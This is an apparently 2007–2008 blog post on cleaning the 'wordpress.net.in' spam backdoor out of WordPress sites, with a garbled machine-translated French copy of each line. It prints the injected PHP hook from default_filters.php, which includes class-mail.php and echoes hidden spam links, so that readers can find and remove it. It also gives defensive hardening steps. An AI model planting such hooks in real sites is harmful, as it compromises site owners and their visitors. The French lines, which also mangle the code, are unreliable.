How to Remove Wordpress.net.in Spam Injection How to Remove Wordpress.net.in Spam Injection Comment supprimer Wordpress.net.in spam injection Comment supprimer Wordpress.net.in spam injection

I found this while browsing WordPress support forum, some of these victims update their default_filters.php and upload class-mail.php inside their WordPress without being aware that it’sa backdoor (wordpress.net.in). J'ai trouvé cela en compte lors de la navigation WordPress forum de support, certaines de ces victimes à mettre à jour leurs default_filters.php et transférez-classe Mail.php l'intérieur de leur WordPress sans être conscient que c'est une porte dérobée (wordpress.net.in). There is no class-mail.php in WordPress except class-phpmailer.php . Il n'ya pas de classe dans WordPress Mail.php l'exception de la classe-phpmailer.php. So don’t get confuse by it. Il en va de même pas confondre par celle-ci.

Below is a quick workaround on how you can removed the offending goro spamware injection before Google banned you from the internet pipes. Voici une solution rapide sur comment vous pouvez supprimé la délinquance Goro spamware injection avant que Google vous interdit de les tuyaux Internet.

Workaround Palliatif

• For temporary disable remote include in php.ini settings. Pour désactiver à distance temporaire des paramètres dans le fichier php.ini.

   ;;;;;;;;;;;;;;;;;; ; Fopen wrappers ; ;;;;;;;;;;;;;;;;;;  ; Whether to allow the treatment of URLs (like http:// or ftp://) as files. ;;;;;;;;;;;;;;;;;;; Fopen wrappers; ;;;;;;;;;;;;;;;;;;; Que ce soit pour permettre le traitement d'URL (comme http:// ou ftp://) comme des fichiers. allow_url_fopen = off allow_url_include = off allow_url_fopen = off allow_url_include = off 

• Check your .htaccess for suspicious redirect. Vérifiez votre fichier. Htaccess pour rediriger suspectes.
• Find class-mail.php inside “*/wp-includes/” directory and removed it. Trouvez-classe Mail.php l'intérieur "* / wp-includes /" répertoire et enlevé.
• Find the following code inside “*/wp-includes/default_filters.php” and removed it Trouver le code suivant dans "* / wp-includes/default_filters.php" et supprimé

   add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775'); function wpc7c16<>b8466d864eeefd20050625c7775() { @include(’./wp-includes/class-mail.php’); if(sizeof($wparr)>0){ echo “!div id=\”goro\”!”; foreach($wparr as $k=>$v){ echo ““.ucwords($v[’key’]).”\n”; if($i  ==$inum) break; } echo “!/div!”.$_footer; } } add_action ( 'wp_footer', 'wpc7c16b8466d864eeefd20050625c7775'); fonction wpc7c16 <> b8466d864eeefd20050625c7775 () (@ include ( '. / wp-includes / classes Mail.php'); if (sizeof ($ wparr)> 0) (echo " ! div id = \ "Goro \"! "; foreach ($ wparr $ k => $ v) (echo" ". ucwords ($ v [ 'key'])." \ n"; if ($ i     = = $ inum) break;) echo "! / div !".$_ pied de page;)) 

• Robots.txt Exclusion Robots.txt

  Optional - Prevent googlebot from indexing the static spam page. Facultatif - Empêcher l'indexation Googlebot de la page statique spam.
  Login to Wordpress Admin > Manage > Files > Other Files → Key in “Robots.txt”. Vous devez vous identifier pour Wordpress Admin> Gérer> Dossiers> Autres fichiers → Saisissez "robots.txt". Add the following code. Ajoutez le code suivant.

   User-agent: Googlebot Disallow: /*?* Disallow: /*? User-agent: Googlebot Disallow: / * * Disallow: / *? 

  Refer robots.txt . Reportez-le fichier robots.txt.

Possible WordPress class (suspicious) files that would be tempered WordPress possible classe (suspectes) qui serait tempéré

Md5 checksum the following files, compare it with official versions from WordPress Release Archive . Somme de contrôle MD5 les fichiers suivants, le comparer avec des versions officielles de WordPress Archives de sortie.

• wp-db.php WP-Db.php
• gettext.php gettext.php

The above methods only remove and disabled the spams links, there is no guarantee that it will protected you from future vulnerabilities. Les méthodes ci-dessus et de supprimer les spams handicapés liens, rien ne garantit qu'il sera protégé vous de la vulnérabilité. Backup (or export your post using WordPress eXtended RSS -WRX) and perform a full upgrade . Backup (ou exporter votre poteau avec WordPress RSS-eXtended WRX) et d'effectuer une mise à jour complète.

Dec 13, 2007 13 déc 2007

I just notice this recently. Je viens d'avis récemment. You’ll need to check your site HTTP Header. Vous aurez besoin de vérifier votre site-tête HTTP. Most of the hijacked websites doesn’t response with correct HTTP Status Header (400<>500) . La plupart des sites ne détournent pas de réponse correcte Etat-tête HTTP (400 <> 500). My guess is they did this to cloak from being crawl by search engine spiders. Mon devine ce qu'ils ont fait à manteau d'être explorer moteur de recherche par les araignées. If you had cleaned all the infected files and your header doesn’t response correctly get a rookit scanner . Si vous ont nettoyé tous les fichiers infectés et votre tête ne pas répondre correctement obtenir un rookit scanner.

Check your website status header, try cloak your browser (UA) as Search Engine Crawler. Vérifiez votre site état-tête, essayez manteau de votre navigateur (UA) comme moteur de recherche robot d'exploration. The following screenshot will show you how to setup this at web-sniffer.net. La capture d'écran suivante vous montrera comment installer ce à Web-sniffer.net.

This methods may not work if the cloaking scripts used IP base tracking. Mai Cette méthode ne fonctionnera pas si les scripts utilisés cloaking IP de base de suivi. So try on different user agent string (ie: inoktomi, askjeeves, ia_archiver). Donc, essayer différentes chaîne agent utilisateur (c'est-à-dire: inoktomi, askjeeves, ia_archiver).

Firefox Browser Navigateur Firefox

You can also override your useragent string with firefox ↓. Vous pouvez aussi surcharger votre chaîne useragent avec firefox ↓.

about:config → general.useragent.overide = ‘ ua strings ‘ about: config general.useragent.overide → = 'unités de cordes "

Wordpress.net.in Backdoor Wordpress.net.in Backdoor

Extra info Information supplémentaire

Dec 14, 2007 14 déc 2007

I did some research at archive.org . J'ai fait quelques recherches à archive.org. It seem our wordpress.net.in Seo Spam has been going on since 2005. Il semble wordpress.net.in notre Seo Spam est en cours depuis 2005. The first variant used file_get_contents() PHP functions to retrieve their sources code (A UTF MAP Decoder 1974 Php Class ). La première variante utilisée file_get_contents () Les fonctions PHP pour récupérer leurs sources de code (UTF CARTE Décodeur 1974 classe PHP).

I also found a signature name alxumuk (at MIT & wordpress.net.in). J'ai aussi trouvé un nom alxumuk signature (au MIT et wordpress.net.in). His first historic test can be root back at *.media.mit.edu/~? server (I hide the userid as it may be “false positive”). Son premier essai historique peut être root *. retour à media.mit.edu / ~? Serveur (je masquer le nom d'utilisateur comme il mai "faux positif"). After my first search on google for alxumuk all the results has been scraped out by Google & “Google alert” so there is no references to this query in Google Index. Après ma première recherche sur google pour alxumuk tous les résultats a été raclés par Google et "Alerte Google" il n'ya donc pas de références à cette requête dans Google Index.

My query for file_get_contents include require allintext:1974.* (the UTF decode package) and the signature (alxumuk) will return 403 Forbidden . Ma requête pour exiger notamment file_get_contents allintext: 1974 .* (UTF décoder le paquet) et la signature (alxumuk) retournera 403 Forbidden.

As Google Advanced Search blocked “the query” this may confirm that 1974.* (UTF decode) is probably the package for reading the bootstrap for wordpress.net.in backdoor (similar case like perl.santy net worm). Comme Recherche avancée de Google a bloqué «à la requête" confirmer ce que mai 1974 .* (UTF décoder) est probablement le paquet pour la lecture pour le «bootstrap» wordpress.net.in porte dérobée (cas similaire comme perl.santy net ver).

If this is a true Net Worm, I suggest anyone with older versions of Wordpress should removed\ the meta generator tag (Wordpress versions) and disabled XML-RPC(& RSD) for hardening wordpress from remote vectors vulnerabilities. S'il s'agit d'une véritable Worm net, je suggère que toute personne avec les anciennes versions de Wordpress devrait enlevé \ le générateur de méta tag (Wordpress versions) et les handicapés XML-RPC (& RSD) pour durcir wordpress vecteurs de vulnérabilités à distance.

Wordpress.net.in Doorway Wordpress.net.in Doorway

Dec 24, 2007 → http://www.wordpress.net.in/mentors/alxumuk/ 24 déc 2007 → http://www.wordpress.net.in/mentors/alxumuk/

Backdoor Files Backdoor Fichiers

inside wp-includes directory. dans wp-includes répertoire.

• compat.php - (replace with latest version) compat.php - (remplacer par la dernière version)
• class-mail.php delete classe-Mail.php supprimer

scan & removes all backdoor files and create a .htaccess file inside wp-includes & wp-content/plugins . analyse et supprime tous les fichiers caché et de créer un fichier. htaccess dans wp-includes & wp-content/plugins. Then add the following code to disabled directory listing (prevent informations leak & Directory search index). Ensuite, ajoutez le code suivant à la liste des répertoires handicapés (empêcher la fuite d'informations et répertoire index de recherche).

 Options -Indexes Options-Indexes 

Wordpress.net.in New Partner Wordpress.net.in nouveau partenaire

Feb 23th 2008 , We found a similar signature like wordpress.net.in at qwetro.com (germany). 23 Février 2008, nous avons constaté la même signature comme wordpress.net.in à qwetro.com (Allemagne). Probably from the same attacker with different agenda. Probablement de la même attaquant avec différentes ordre du jour.

Related Posts Postes connexes

• Bluehost HostMonster CEO’s Blog hacked (wordpress.net.in) Bluehost HostMonster chef de la direction du Blog piraté (wordpress.net.in)
• Matt Heaton Bluehost Hostmonster CEO’s Hacked Again - Strike II Matt Heaton bluehost Hostmonster chef de la direction du nouveau piraté - Grève II

External Links Liens externes

• Websniffer View HTTP Request and Response Header Voir Websniffer requête HTTP et tête de réponse
• Wordpress Support Forum Wordpress forum de support
• National Vulnerability Database Wordpress 2.0 > 2.0.6 Base de données nationale vulnérabilité Wordpress 2,0> 2.0.6

Short URL URL courte

Bookmarks Favoris

• Share This Cette part